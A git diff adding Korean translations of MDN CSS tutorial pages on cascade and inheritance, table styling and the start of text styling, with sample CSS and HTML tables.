+<p>{{ nextPage("/en-US/docs/CSS/Getting_Started/Layout", "배치") }}지금까지 내/외부 여백을 설정하여 Document의 배치를 수정 해 보았다. 다음 장에서는 Document의 배치를 바꾸는 다른 방법에 대해 알아보자.</p>
diff --git a/files/ko/web/css/시작하기/종속과_상속/index.html b/files/ko/web/css/시작하기/종속과_상속/index.html
new file mode 100644
index 0000000000..ac819c8c64
--- /dev/null
+++ b/files/ko/web/css/시작하기/종속과_상속/index.html
@@ -0,0 +1,126 @@
+---
+title: 종속과 상속
+slug: Web/CSS/시작하기/종속과_상속
+translation_of: Learn/CSS/Building_blocks/Cascade_and_inheritance
+---
+<p>{{ CSSTutorialTOC() }}</p>
+
+<div class="warning"><strong>중요</strong>: 번역은 제가 필요한 부분 및 확인 가능한 부분만 진행 하였으며 변역된 날자는(2013/03/14)이며 문서 변경이 잦아 오늘 이후는 원문과 번역이 다를 수 있습니다. 참고하세요. 미 번역/변경된 부분은 추가로 다른 분이 해 주실 것으로 믿습니다.</div>
+
+<p>{{ previousPage("/en-US/docs/CSS/Getting_Started/How_CSS_works", "CSS 동작 원리")}}<span class="seoSummary"><a href="/en-US/docs/CSS/Getting_Started" title="en/CSS/Getting Started">CSS 시작하기</a> 안내서의 4번쨰 섹션; stylesheets가 종속적으로 동작하는 것과 element가 부모로 부터 style을 상속 받는 것에 대해 서술해 본다. 단순하게 document의 많은 Style중 어떤 Style을 사용할 것인지 한단계 상속만으로 하나의 Style을 stylesheet에 추가 할 수 있다.</span></p>
+
+<h2 class="clearLeft" id="정보_종속과_상속">정보: 종속과 상속</h2>
+
+<p>element의 최종 style은 다양한 상호작용을 통해 여러 장소에서 선언된 것을 사용할 수 있다. 이런 다양한 상호작용을 통해 CSS는 강력해 질 수 있으며, 반대로 디버그 하기에는 복잡하고 어려워 진다.</p>
+
+<p>종속의 세가지 주요 원천은 아래와 같다.</p>
+
+<ul>
+ <li>마크업 언어를 위한 브라우저의 기본 style들</li>
+ <li>document를 읽는 사용자가 정의하는 styles</li>
+ <li>만든이에 의해 Style은 Document와 연결된다. 다음 3곳에서 그 내용을 명시할 수 있다.These can be specified in three places:
+ <ul>
+ <li>외부 파일: 이 안내서에서 주로 취급하는 Style에 대한 정의하는 법.</li>
+ <li>Document의 시작 부분에 정의하는 법: 선언한 Style은 선언된 Document의 페이지에서만 사용된다.</li>
+ <li>Document body의 특정 element에: 유지 보수가 가장 불편한 방법이며, 주로 테스트 용도로 쓴다.</li>
+ </ul>
+ </li>
+</ul>
+
+<p>사용자 Style은 브라우저의 기본 Style을 변경 할수 있다. document 만든이의 style 에서 더 수정 변경 될 수도 있다. 이 안내서에서는, 예제 Document에서 만든 자신만의 stylesheets를 만들 수 있다.</p>
+
+<div class="tuto_example">
+<div class="tuto_type">예제</div>
+
+<p>이 문서를 브라우저로 보면, 일부 style은 브라우저의 기본 값을 사용한다.</p>
+
+<p>일부는 브라우저 셋팅에서 수정한 style이 저장된 파일에서 가져온다. 파이어 폭스 브라우저에서 "설정" 메뉴나, 브라우저 폴더에 있는 userContent.css 직접 수정하여 변경 가능하다.</p>
+
+<p>일부 style은 wiki server에 의해 Stylesheet에 정의된 값을 사용한다.</p>
+</div>
+
+<p>예제 Document를 브라우저에서 열면, {{ HTMLElement("strong") }} elements로 지정된 문자는 다른 문자들 보다 두껍다. 이 Style은 기본 Style로 설정된 값에서 나온다.</p>
+
+<p>{{ HTMLElement("strong") }} elements의 색상은 red이다. 이 값은 예제 stylesheet에서 값을 가져 온다.</p>
+
+<p>{{ HTMLElement("strong") }} elements는 {{ HTMLElement("p") }} element의 자식 style이므로 대부분의 {{ HTMLElement("p") }} element의 style을 상속한다. 같은 방식으로, {{ HTMLElement("p") }} element는 {{ HTMLElement("body") }} element의 대부분의 style을 상속한다.</p>
+
+<p>종속적인 면에서 style은, 제작자(author)의 stylesheets가 사용자(reader) stylesheet보다도 브라우저의 기본 값보다도 우선 순위가 높다.</p>
+
+<p>상속적인 면에서는, 자식 노드의 자체 Style이 부모의 Style보다 우선 순위가 높다.</p>
+
+<p>우선 순위만 적용되는 것은 아니다. 페이지 아래부분에 좀더 자세히 설명 하도록 하자.</p>
+
+<div class="tuto_details">
+<div class="tuto_type">좀더 자세히</div>
+
+<p>CSS는 <code>!important 키워드를 써서 </code>사용자(reader)가 document 제작자(author)의 style을 덮어 쓰는 방법도 제공힌다.</p>
+
+<p>이는 Document 제작자에게 사용자가 항상 제작자가 만든 내용을 그대로 본다는 것을 보장 하지 않는 다는 것을 의미한다.</p>
+
+<p>종속과 상속에 대해 자세히 알고 싶다면, CSS의 상세 사양서 중 <a class="external" href="http://www.w3.org/TR/CSS21/cascade.html">속성 값 할당, 종속 및 상속</a> 부분을 보라.</p>
+</div>
+
+<h2 id="액션_상속_사용하기">액션: 상속 사용하기</h2>
+
+<ol>
+ <li>CSS 예제 파일을 편집해 보자.</li>
+ <li>아래 라인을 추가 하라. 이미 문서 내에 존재하는 다른 내용이 있더라도 문서의 어디에 추가하든 상관 없다. 그러나, 맨 위에 추가 할수록 Document에 있는{{ HTMLElement("p") }} element가 {{ HTMLElement("strong") }} element의 부모가 되므로 지역적으로 영향을 미친다.
+ <pre class="brush:css">p {color: blue; text-decoration: underline;}
+</pre>
+ </li>
+ <li>이제 브라우저를 갱신하여 적용된 사항을 보라. 첫글자를 포함한 모든 문자들에 밑출이 그어져 있다. {{ HTMLElement("strong") }} elements는 부모{{ HTMLElement("p") }} element의 밑줄 속성을 상속 받았다.<br>
+
+ <p>그러나 {{ HTMLElement("strong") }} elements는 여전히 붉은색이다. 붉은색 속성은 자체 속성이므로 부모인 {{ HTMLElement("p") }} element의 파란색 속성보다 우선한다.</p>
+ </li>
+</ol>
+
+<table style="background-color: #f4f4f4; border: 1px solid #3366bb; padding: 1em;">
+</table>
+
+<table style="border: 2px outset #3366bb; margin-right: 2em; padding: 1em;">
+ <caption>Before</caption>
+ <tbody>
+ <tr>
+ <td><strong style="color: red;">C</strong>ascading <strong style="color: red;">S</strong>tyle <strong style="color: red;">S</strong>heets</td>
+ </tr>
+ </tbody>
+</table>
+
+<table style="border: 2px outset #3366bb; padding: 1em;">
+ <caption>After</caption>
+ <tbody>
+ <tr>
+ <td style="color: blue; text-decoration: underline;"><strong style="color: red;">C</strong>ascading <strong style="color: red;">S</strong>tyle <strong style="color: red;">S</strong>heets</td>
+ </tr>
+ </tbody>
+</table>
+
+<div class="tuto_example">
+<div class="tuto_type">도전</div>
+Stylesheet를 변경하여 아래와 같이 붉은 글자만 밑줄 속성을 가지도록 수정 해 보라.
+
+<table style="border: 2px outset #3366bb; padding: 1em;">
+ <tbody>
+ <tr>
+ <td style="color: blue;"><strong style="color: red; text-decoration: underline;">C</strong>ascading <strong style="color: red; text-decoration: underline;">S</strong>tyle <strong style="color: red; text-decoration: underline;">S</strong>heets</td>
+ </tr>
+ </tbody>
+</table>
+
+<div class="tuto_details" id="tutochallenge">
+<div class="tuto_type">Possible solution</div>
+
+<p>Move the declaration for underlining from the rule for {{ HTMLElement("p") }} to the one for {{ HTMLElement("strong") }}. The resulting file looks like this:</p>
+
+<pre class="brush: css">p {color: blue; }
+strong {color: orange; text-decoration: underline;}
+</pre>
+
+<p> </p>
+<a class="hideAnswer" href="#challenge">Hide solution</a></div>
+<a href="#tutochallenge" title="Display a possible solution for the challenge">정답 확인</a></div>
+
+<h2 id="다음에는">다음에는?</h2>
+
+<p>{{ nextPage("/en-US/docs/CSS/Getting_Started/Selectors", "설렉터")}}예제 Stylesheet의 <code>&lt;p&gt;</code>와 <code>&lt;strong&gt; 태그</code>를 원하는 style로 임으로 바꾸어 보라. 다음 장에는 <a href="/en-US/docs/CSS/Getting_Started/Selectors" title="/en-US/docs/CSS/Getting_Started/Selectors">설렉터</a>를 사용하는 법에 대해 알아보자.</p>
diff --git a/files/ko/web/css/시작하기/테이블/index.html b/files/ko/web/css/시작하기/테이블/index.html
new file mode 100644
index 0000000000..f7e832dbf1
--- /dev/null
+++ b/files/ko/web/css/시작하기/테이블/index.html
@@ -0,0 +1,474 @@
+---
+title: 테이블
+slug: Web/CSS/시작하기/테이블
+translation_of: Learn/CSS/Building_blocks/Styling_tables
+---
+<p>{{ CSSTutorialTOC() }}</p>
+<div class="warning">
+ <strong>중요</strong>: 번역은 제가 필요한 부분 및 확인 가능한 부분만 진행 하였으며 변역된 날자는(2013/03/20)이며 문서 변경이 잦아 오늘 이후는 원문과 번역이 다를 수 있습니다. 참고하세요. 미 번역/변경된 부분은 추가로 다른 분이 해 주실 것으로 믿습니다.</div>
+<p>{{ previousPage("/en-US/docs/CSS/Getting_Started/Layout", "배치") }}<a href="/en/CSS/Getting_Started" title="en/CSS/Getting Started">CSS 시작하기</a> 안내서 13번째; 여기서는 고급 설렉터에 대해 알아보고, 테이블을 사용하는 특별한 방법에 대해 확인 해 보자. 테이블이 포함된 예제 Document와 여기서 사용될 Stylesheet를 만들어 보자.</p>
+<h2 class="clearLeft" id="정보_테이블">정보 : 테이블</h2>
+<p>테이블이란 정보를 사각 격자 형태로 배치하는 것을 말한다. 어떤 테이블은 복잡하게 구성 될 수 있으며 그 복잡한 테이블은 브라우저마나 다르게 보여줄 수도 있다.</p>
+<p>Document를 디자인 할때, 테이블을 이용하여 내용들 간의 관개정보들을 표시 할 수 있다. 브라우저별로 테이블을 조금 다르게 표시하여도 정보를 보여주는데는 크게 문제 되지 않는다.</p>
+<p>시각적인 표시의 사용목적으로 테이블을 사용하는 것은 좋지 않다. 테이블 보다는 이전 페이지에 소개한 배치(<strong><a href="/en/CSS/Getting_Started/Layout" title="en/CSS/Getting_Started/Layout">Layout</a></strong>)를 사용하는 것이 더 좋은 방법이다.</p>
+<h3 id="테이블_구조">테이블 구조</h3>
+<p>테이블에서는 각 내용들이 각 테이블 블럭에 표시된다.</p>
+<p>테이블의 같은 줄의 블럭은 하나의 행을 구성한다.</p>
+<p>몇몇 테이블에서는 행은 하나의 그룹으로 구성된다. 테이블의 첫 행의 그룹은 머릿말(<em>header)</em>로 사용된다.  테이블의 마지막 행의 그룹은 꼬릿말<em>(footer)</em>로 사용되기도 한다. 테이블의 다른 행들은 본문(<em>body</em>)이 되고 한 덩어리의 그룹으로 간주된다.</p>
+<p>아래에 있는 블럭은 하나의 열(<em>column</em>)로 구성되었고 제한적으로 사용되는 CSS테이블 이다.</p>
+<div class="tuto_example">
+ <div class="tuto_type">
+ 예제</div>
+ <p><a href="/en/CSS/Getting_Started/Selectors" title="en/CSS/Getting_Started/Selectors">설렉터</a>페이지 내의 <a href="/en/CSS/Getting_Started/Selectors#relselectors" title="en/CSS/Getting_Started/Selectors#relselectors">연관관계로 본 설렉터</a>의 테이블은 10개의 셀 블럭으로 구성된 5행 테이블이다.</p>
+ <p>첫번째 행은 머릿말이고 나머지 4개행은 본문이다. 꼬릿말은 없다.</p>
+ <p>열은 2개이다.</p>
+</div>
+<p>여기 안내서는 간단한 예제만을 다루고 있으며, 그 결과물은 쉽게 예상 가능한 수준이다. 간단한 테이블에서는 모든 셀블럭들은 하나의 행/열만을 차지한다. 셀이 하나 이상의 행이나 열을 차지하는 복잡한 테이블 구성 방법도 CSS를 통해 표현 가능하다. 그러나 이런 고급기술은 초급 안내서의 범주를 벗어난다.</p>
+<h3 id="경계">경계</h3>
+<p>셀 블럭은 바깥 여백이 없다.</p>
+<p>셀블럭은 바깥 여백과 들여쓰기 공간이 없다. 기본적으로 경계는 테이블 내용과의 같격을 {{ cssxref("border-spacing") }}속성으로 조절 가능하다. 테이블의 {{ cssxref("border-collapse") }}속성을 <code>collapse</code>로 설정하면 이 여백을 없앨 수 있다.</p>
+<div class="tuto_example">
+ <div class="tuto_type">
+ 예제</div>
+ <p>여기 세가지 테이블을 확인 해 보자.</p>
+ <p>왼쪽 테이블은 0.5 em 경계 여백을 가지고 있다. 가운데는 경계 여백을 0으로 했으며, 오른쪽은 collapse속성을 사용 하였다.</p>
+ <table style="border: 2px outset #36b; padding: 1em; background-color: white;">
+ <tbody>
+ <tr>
+ <td style="padding-right: 2em;">
+ <table style="">
+ <tbody>
+ <tr>
+ <td style="border: 1px solid #c00; text-align: center;">Clubs</td>
+ <td style="border: 1px solid #c00; text-align: center;">Hearts</td>
+ </tr>
+ <tr>
+ <td style="border: 1px solid #c00; text-align: center;">Diamonds</td>
+ <td style="border: 1px solid #c00; text-align: center;">Spades</td>
+ </tr>
+ </tbody>
+ </table>
+ </td>
+ <td style="padding-right: 2em;">
+ <table style="">
+ <tbody>
+ <tr>
+ <td style="border: 1px solid #c00; text-align: center;">Clubs</td>
+ <td style="border: 1px solid #c00; text-align: center;">Hearts</td>
+ </tr>
+ <tr>
+ <td style="border: 1px solid #c00; text-align: center;">Diamonds</td>
+ <td style="border: 1px solid #c00; text-align: center;">Spades</td>
+ </tr>
+ </tbody>
+ </table>
+ </td>
+ <td style="padding-right: 6em;">
+ <table style="border-collapse: collapse;">
+ <tbody>
+ <tr>
+ <td style="border: 1px solid #c00; text-align: center;">Clubs</td>
+ <td style="border: 1px solid #c00; text-align: center;">Hearts</td>
+ </tr>
+ <tr>
+ <td style="border: 1px solid #c00; text-align: center;">Diamonds</td>
+ <td style="border: 1px solid #c00; text-align: center;">Spades</td>
+ </tr>
+ </tbody>
+ </table>
+ </td>
+ </tr>
+ </tbody>
+ </table>
+</div>
+<h3 id="캡션">캡션</h3>
+<p>캡션({{ HTMLElement("caption") }}) elemen전체 테이블에 적용되는 라벨이다. 기본적으로 테이블 위쪽에 표시된다.</p>
+<p>캡션을 아래쪽에 두고 싶다면 {{ cssxref("caption-side") }}속성 값을 <code>bottom</code>으로 설정하라. 속성은 상속되므로 상속받은 테이블들에 선택적으로 속성값 재설정도 가능하다.</p>
+<p>캡션의 텍스트 스타일을 조정 하려면 텍스트 속성을 사용하면 된다.</p>
+<div class="tuto_example">
+ <div class="tuto_type">
+ 예제</div>
+ <p>이 테이블은 아래쪽에 캡션을 가지고 있다.</p>
+ <pre class="brush: css">#demo-table &gt; caption {
+ caption-side: bottom;
+ font-style: italic;
+ text-align: right;
+}
+</pre>
+ <table style="border: 2px outset #36b; padding: 1em 6em 1em 1em; background-color: white;">
+ <tbody>
+ <tr>
+ <td>
+ <table>
+ <caption>
+ Suits</caption>
+ <tbody>
+ <tr>
+ <td>
+ <table style="border-collapse: collapse;">
+ <tbody>
+ <tr>
+ <td style="border: 1px solid gray; text-align: center;">Clubs</td>
+ <td style="border: 1px solid gray; text-align: center;">Hearts</td>
+ </tr>
+ <tr>
+ <td style="border: 1px solid gray; text-align: center;">Diamonds</td>
+ <td style="border: 1px solid gray; text-align: center;">Spades</td>
+ </tr>
+ </tbody>
+ </table>
+ </td>
+ </tr>
+ </tbody>
+ </table>
+ </td>
+ </tr>
+ </tbody>
+ </table>
+</div>
+<h3 id="빈_셀블럭">빈 셀블럭</h3>
+<p>테이블 element에 {{ cssxref("empty-cells") }}: show로 설정 함으로 빈 셀블럭을 표시 할 수 있다.</p>
+<p><code>empty-cells: hide로 설정하여 해당 셀블럭을 안보이도록 감출 수 있다. 셀의 부모 element가 배경색을 가지고 있다면 그 배경색이 보이게 될 것이다.</code></p>
+<div class="tuto_example">
+ <div class="tuto_type">
+ 예제</div>
+ <p>이 테이블은 옅은 녹색 배경을 가지고 있으며, 셀은 진한 회색의 테두리와 회색 배경을 가지고 이다.</p>
+ <p>아래 테이블의 왼쪽은 빈 셀을 보여주고, 오른쪽은 셀감추기의 결과를 확인 할 수 있다.</p>
+ <table style="border: 2px outset #36b; padding: 1em; background-color: white;">
+ <tbody>
+ <tr>
+ <td style="padding-right: 2em;">
+ <table style="background-color: #dfd;">
+ <tbody>
+ <tr>
+ <td style="border: 1px solid #555; background-color: #eee;"> </td>
+ <td style="border: 1px solid #555; background-color: #eee; text-align: center;">Hearts</td>
+ </tr>
+ <tr>
+ <td style="border: 1px solid #555; background-color: #eee; text-align: center;">Diamonds</td>
+ <td style="border: 1px solid #555; background-color: #eee; text-align: center;">Spades</td>
+ </tr>
+ </tbody>
+ </table>
+ </td>
+ <td style="padding-right: 6em;">
+ <table style="background-color: #dfd;">
+ <tbody>
+ <tr>
+ <td> </td>
+ <td style="border: 1px solid #555; background-color: #eee; text-align: center;">Hearts</td>
+ </tr>
+ <tr>
+ <td style="border: 1px solid #555; background-color: #eee; text-align: center;">Diamonds</td>
+ <td style="border: 1px solid #555; background-color: #eee; text-align: center;">Spades</td>
+ </tr>
+ </tbody>
+ </table>
+ </td>
+ </tr>
+ </tbody>
+ </table>
+</div>
+<div class="tuto_details">
+ <div class="tuto_type">
+ 자세히</div>
+ <p>CSS 사양서의 <a class="external" href="http://www.w3.org/TR/CSS21/tables.html">테이블</a>에서 좀더 자세한 테이블에 대한 사항을 확인 하라.</p>
+ <p>여기에서 보다 더 자세한 테이블에 관한 내용을 확인 할 수 있지만, 브라우저별로 다르게 보여지는 복잡한 테이블에 대한 사항은 포함하고 있지 않다.</p>
+</div>
+<h2 id="액션_테이블_꾸미기">액션 : 테이블 꾸미기</h2>
+<ol>
+ <li><code>doc3.html파일을 만들어 아래 긴 코드를 전부 복사해 넣고 저장하라.</code>
+ <div style="height: 36em; overflow: auto;">
+ <pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+ &lt;head&gt;
+ &lt;title&gt;Sample document 3&lt;/title&gt;
+ &lt;link rel="stylesheet" href="style3.css"&gt;
+ &lt;/head&gt;
+ &lt;body&gt;
+ &lt;table id="demo-table"&gt;
+ &lt;caption&gt;Oceans&lt;/caption&gt;
+ &lt;thead&gt;
+ &lt;tr&gt;
+ &lt;th&gt;&lt;/th&gt;
+ &lt;th&gt;Area&lt;/th&gt;
+ &lt;th&gt;Mean depth&lt;/th&gt;
+ &lt;/tr&gt;
+ &lt;tr&gt;
+ &lt;th&gt;&lt;/th&gt;
+ &lt;th&gt;million km&lt;sup&gt;2&lt;/sup&gt;&lt;/th&gt;
+ &lt;th&gt;m&lt;/th&gt;
+ &lt;/tr&gt;
+ &lt;/thead&gt;
+ &lt;tbody&gt;
+ &lt;tr&gt;
+ &lt;th&gt;Arctic&lt;/th&gt;
+ &lt;td&gt;13,000&lt;/td&gt;
+ &lt;td&gt;1,200&lt;/td&gt;
+ &lt;/tr&gt;
+ &lt;tr&gt;
+ &lt;th&gt;Atlantic&lt;/th&gt;
+ &lt;td&gt;87,000&lt;/td&gt;
+ &lt;td&gt;3,900&lt;/td&gt;
+ &lt;/tr&gt;
+ &lt;tr&gt;
+ &lt;th&gt;Pacific&lt;/th&gt;
+ &lt;td&gt;180,000&lt;/td&gt;
+ &lt;td&gt;4,000&lt;/td&gt;
+ &lt;/tr&gt;
+ &lt;tr&gt;
+ &lt;th&gt;Indian&lt;/th&gt;
+ &lt;td&gt;75,000&lt;/td&gt;
+ &lt;td&gt;3,900&lt;/td&gt;
+ &lt;/tr&gt;
+ &lt;tr&gt;
+ &lt;th&gt;Southern&lt;/th&gt;
+ &lt;td&gt;20,000&lt;/td&gt;
+ &lt;td&gt;4,500&lt;/td&gt;
+ &lt;/tr&gt;
+ &lt;/tbody&gt;
+ &lt;tfoot&gt;
+ &lt;tr&gt;
+ &lt;th&gt;Total&lt;/th&gt;
+ &lt;td&gt;361,000&lt;/td&gt;
+ &lt;td&gt;&lt;/td&gt;
+ &lt;/tr&gt;
+ &lt;tr&gt;
+ &lt;th&gt;Mean&lt;/th&gt;
+ &lt;td&gt;72,000&lt;/td&gt;
+ &lt;td&gt;3,800&lt;/td&gt;
+ &lt;/tr&gt;
+ &lt;/tfoot&gt;
+ &lt;/table&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+ </div>
+ </li>
+ <li><code>style3.css</code>를 만들어 아래 긴 내용을 전부 복사해 넣어라.
+ <pre class="brush: css">/*** Style for doc3.html (Tables) ***/
+
+#demo-table {
+ font: 100% sans-serif;
+ background-color: #efe;
+ border-collapse: collapse;
+ empty-cells: show;
+ border: 1px solid #7a7;
+}
+
+#demo-table &gt; caption {
+ text-align: left;
+ font-weight: bold;
+ font-size: 200%;
+ border-bottom: .2em solid #4ca;
+ margin-bottom: .5em;
+}
+
+
+/* basic shared rules */
+#demo-table th,
+#demo-table td {
+ text-align: right;
+ padding-right: .5em;
+}
+
+#demo-table th {
+ font-weight: bold;
+ padding-left: .5em;
+}
+
+
+/* header */
+#demo-table &gt; thead &gt; tr:first-child &gt; th {
+ text-align: center;
+ color: blue;
+}
+
+#demo-table &gt; thead &gt; tr + tr &gt; th {
+ font-style: italic;
+ color: gray;
+}
+
+/* fix size of superscript */
+#demo-table sup {
+ font-size: 75%;
+}
+
+/* body */
+#demo-table td {
+ background-color: #cef;
+ padding:.5em .5em .5em 3em;
+}
+
+#demo-table tbody th:after {
+ content: ":";
+}
+
+
+/* footer */
+#demo-table tfoot {
+ font-weight: bold;
+}
+
+#demo-table tfoot th {
+ color: blue;
+}
+
+#demo-table tfoot th:after {
+ content: ":";
+}
+
+#demo-table &gt; tfoot td {
+ background-color: #cee;
+}
+
+#demo-table &gt; tfoot &gt; tr:first-child td {
+ border-top: .2em solid #7a7;
+}
+</pre>
+ </li>
+ <li>브라우저에서 열어서 아래와 같이 나오는 지 확인 하라.
+ <table style="border: 2px outset #36b; padding: 1em 6em 1em 1em; background-color: white;">
+ <tbody>
+ <tr>
+ <td>
+ <div>
+ <p style="font: bold 200% sans-serif; text-align: left; border-bottom: .2em solid #4ca; margin: 0px 0px .5em 0px;">Oceans</p>
+ <div style="border: 1px solid #7a7; background-color: #efe;">
+ <table style="font: 100% sens-serif; background-color: #efe; border-collapse: collapse; text-align: right; padding-right: .5em;">
+ <tbody>
+ <tr style="text-align: center; color: blue;">
+ <th> </th>
+ <th>Area</th>
+ <th style="padding-left: .5em; padding-right: .5em;">Mean depth</th>
+ </tr>
+ <tr style="font-style: italic; color: gray;">
+ <th> </th>
+ <th style="padding-left: .5em; padding-right: .5em;">million km<sup>2</sup></th>
+ <th style="padding-left: .5em; padding-right: .5em;">m</th>
+ </tr>
+ <tr>
+ <th style="padding-right: .5em;">Arctic:</th>
+ <td style="background-color: #cef; padding: .5em .5em .5em 3em;">13,000</td>
+ <td style="background-color: #cef; padding: .5em .5em .5em 3em;">1,200</td>
+ </tr>
+ <tr>
+ <th style="padding-right: .5em;">Atlantic:</th>
+ <td style="background-color: #cef; padding: .5em .5em .5em 3em;">87,000</td>
+ <td style="background-color: #cef; padding: .5em .5em .5em 3em;">3,900</td>
+ </tr>
+ <tr>
+ <th style="padding-right: .5em;">Pacific:</th>
+ <td style="background-color: #cef; padding: .5em .5em .5em 3em;">180,000</td>
+ <td style="background-color: #cef; padding: .5em .5em .5em 3em;">4,000</td>
+ </tr>
+ <tr>
+ <th style="padding-right: .5em;">Indian:</th>
+ <td style="background-color: #cef; padding: .5em .5em .5em 3em;">75,000</td>
+ <td style="background-color: #cef; padding: .5em .5em .5em 3em;">3,900</td>
+ </tr>
+ <tr>
+ <th style="padding-left: .5em; padding-right: .5em;">Southern:</th>
+ <td style="background-color: #cef; padding: .5em .5em .5em 3em;">20,000</td>
+ <td style="background-color: #cef; padding: .5em .5em .5em 3em;">4,500</td>
+ </tr>
+ <tr>
+ <th style="padding-right: .5em; color: blue;">Total:</th>
+ <td style="background-color: #cee; padding: .5em .5em .5em 3em; border-top: .2em solid #7a7;">361,000</td>
+ <td style="background-color: #cee; padding: .5em .5em .5em 3em; border-top: .2em solid #7a7;"> </td>
+ </tr>
+ <tr>
+ <th style="padding-right: .5em; color: blue;">Mean:</th>
+ <td style="background-color: #cee; padding: .5em .5em .5em 3em;">72,000</td>
+ <td style="background-color: #cee; padding: .5em .5em .5em 3em;">3,800</td>
+ </tr>
+ </tbody>
+ </table>
+ </div>
+ </div>
+ </td>
+ </tr>
+ </tbody>
+ </table>
+ </li>
+ <li>화면에 보여지는 테이블과 stylesheet에 추가한 규칙과 비교하여 각 규칙이 어떻게 적용되었는지 확인해 보라. 원하는 방향으로 적용되지 않은 규칙이 있다면 해당 규칙을 주석 처리해서 저장한 후 브라우저로 다시 읽어 확인 해 보라. 아래는 위의 테이블에 관해 확인 해볼 사항이다.
+ <ul>
+ <li>캡션은 테이블 바깥 경계에 표시된다.</li>
+ <li>옵션에 최소 포인트 크기 세트가 있다면 km<sup>2</sup>에 있는 '2'처럼 어깨 글자에 적용 될 것이다.</li>
+ <li>테이블은 세가지 빈 셀 블럭을 가지고 있다. 그중 둘은 테이블 배경색을 그대로 보여줄 수 있도록 설정되어 있다. 세번째 빈 셀블럭은 자체 색상과 위쪽에 경계선을 가지고 있다.</li>
+ <li>콜론은 Stylesheet에서 추가 되었다.</li>
+ </ul>
+ </li>
+</ol>
+<div class="tuto_example">
+ <div class="tuto_type">
+ 도전</div>
+ <p>아래처럼 보이도록 Stylesheet를 바꿔 보라</p>
+ <table style="border: 2px outset #36b; padding: 1em 6em 1em 1em; background-color: white;">
+ <tbody>
+ <tr>
+ <td>
+ <div>
+ <div style="border: 1px solid #7a7; background-color: #efe;">
+ <table style="font: 100% sens-serif; background-color: #efe; border-collapse: collapse; text-align: right; padding-right: .5em;">
+ <tbody>
+ <tr style="text-align: center; color: blue;">
+ <th> </th>
+ <th>Area</th>
+ <th style="padding-left: .5em; padding-right: .5em;">Mean depth</th>
+ </tr>
+ <tr style="font-style: italic; color: gray;">
+ <th> </th>
+ <th style="padding-left: .5em; padding-right: .5em;">million km<sup>2</sup></th>
+ <th style="padding-left: .5em; padding-right: .5em;">m</th>
+ </tr>
+ <tr>
+ <th style="padding-right: .5em;">Arctic:</th>
+ <td style="background-color: #cef; padding: .5em .5em .5em 3em; border: 1px solid #7a7;">13,000</td>
+ <td style="background-color: #cef; padding: .5em .5em .5em 3em; border: 1px solid #7a7; border-right: 0px;">1,200</td>
+ </tr>
+ <tr>
+ <th style="padding-right: .5em;">Atlantic:</th>
+ <td style="background-color: #cef; padding: .5em .5em .5em 3em; border: 1px solid #7a7;">87,000</td>
+ <td style="background-color: #cef; padding: .5em .5em .5em 3em; border: 1px solid #7a7; border-right: 0px;">3,900</td>
+ </tr>
+ <tr>
+ <th style="padding-right: .5em;">Pacific:</th>
+ <td style="background-color: #cef; padding: .5em .5em .5em 3em; border: 1px solid #7a7;">180,000</td>
+ <td style="background-color: #cef; padding: .5em .5em .5em 3em; border: 1px solid #7a7; border-right: 0px;">4,000</td>
+ </tr>
+ <tr>
+ <th style="padding-right: .5em;">Indian:</th>
+ <td style="background-color: #cef; padding: .5em .5em .5em 3em; border: 1px solid #7a7;">75,000</td>
+ <td style="background-color: #cef; padding: .5em .5em .5em 3em; border: 1px solid #7a7; border-right: 0px;">3,900</td>
+ </tr>
+ <tr>
+ <th style="padding-left: .5em; padding-right: .5em;">Southern:</th>
+ <td style="background-color: #cef; padding: .5em .5em .5em 3em; border: 1px solid #7a7;">20,000</td>
+ <td style="background-color: #cef; padding: .5em .5em .5em 3em; border: 1px solid #7a7; border-right: 0px;">4,500</td>
+ </tr>
+ <tr>
+ <th style="padding-right: .5em; color: blue;">Total:</th>
+ <td style="background-color: #cee; padding: .5em .5em .5em 3em; border-top: .2em solid #7a7;">361,000</td>
+ <td style="background-color: #cee; padding: .5em .5em .5em 3em; border-top: .2em solid #7a7;"> </td>
+ </tr>
+ <tr>
+ <th style="padding-right: .5em; color: blue;">Mean:</th>
+ <td style="background-color: #cee; padding: .5em .5em .5em 3em;">72,000</td>
+ <td style="background-color: #cee; padding: .5em .5em .5em 3em;">3,800</td>
+ </tr>
+ </tbody>
+ </table>
+ </div>
+ <p style="font: italic 100% sans-serif; text-align: right; border-top: .4em solid #4ca; margin: 1em 0px 0px 0px;">Oceans</p>
+ </div>
+ </td>
+ </tr>
+ </tbody>
+ </table>
+ <p> </p>
+</div>
+<p><a href="/en/CSS/Getting_Started/Challenge_solutions#Tables" title="en/CSS/Getting started/Challenge solutions#Tables">정답 확인</a></p>
+<h2 id="다음에는">다음에는?</h2>
+<p>{{ nextPage("/en-US/docs/CSS/Getting_Started/Media", "미디어") }}이 장이 CSS의 속성과 그 변수에 대해 설명하는 마지막 장이다. 전체 속성 및 변수에 대해 확인 하려면 CSS 사양서의 <a class="external" href="http://www.w3.org/TR/CSS21/propidx.html">Full property table</a>를 보라.</p>
+<p>다음에는 CSS의 Stylesheet구조와 목적에 대해 <a href="/en-US/docs/CSS/Getting_Started/Media" title="/en-US/docs/CSS/Getting_Started/Media">다시한번 살펴보자</a>.</p>
diff --git a/files/ko/web/css/시작하기/텍스트_스타일/index.html b/files/ko/web/css/시작하기/텍스트_스타일/index.html
new file mode 100644
index 0000000000..2a99ee4f51
--- /dev/null
+++ b/files/ko/web/css/시작하기/텍스트_스타일/index.html
@@ -0,0 +1,149 @@
+---
+title: 텍스트 스타일
+slug: Web/CSS/시작하기/텍스트_스타일
+translation_of: Learn/CSS/Styling_text/Fundamentals
+---
+<p>{{ CSSTutorialTOC() }}</p>
+
+<div class="warning"><strong>중요</strong>: 번역은 제가 필요한 부분 및 확인 가능한 부분만 진행 하였으며 변역된 날자는(2013/03/18)이며 문서 변경이 잦아 오늘 이후는 원문과 번역이 다를 수 있습니다. 참고하세요. 미 번역/변경된 부분은 추가로 다른 분이 해 주실 것으로 믿습니다.</div>
+
+<p>{{previousPage("/en-US/docs/CSS/Getting_Started/Readable_CSS", "알기 쉬운 CSS")}}<span class="seoSummary"><a href="/en/CSS/Getting_Started" title="en/CSS/Getting Started">CSS 시작하기 </a>안내서 7번째 장; 여기서는 텍스트 스타일에 대해 좀더 많은 예를 살펴 보자. 예제 Stylesheet를 다른 글씨체로 바꿔 보자.</span></p>
+
+<h2 class="clearLeft" id="정보_텍스트_스타일">정보: 텍스트 스타일</h2>
+
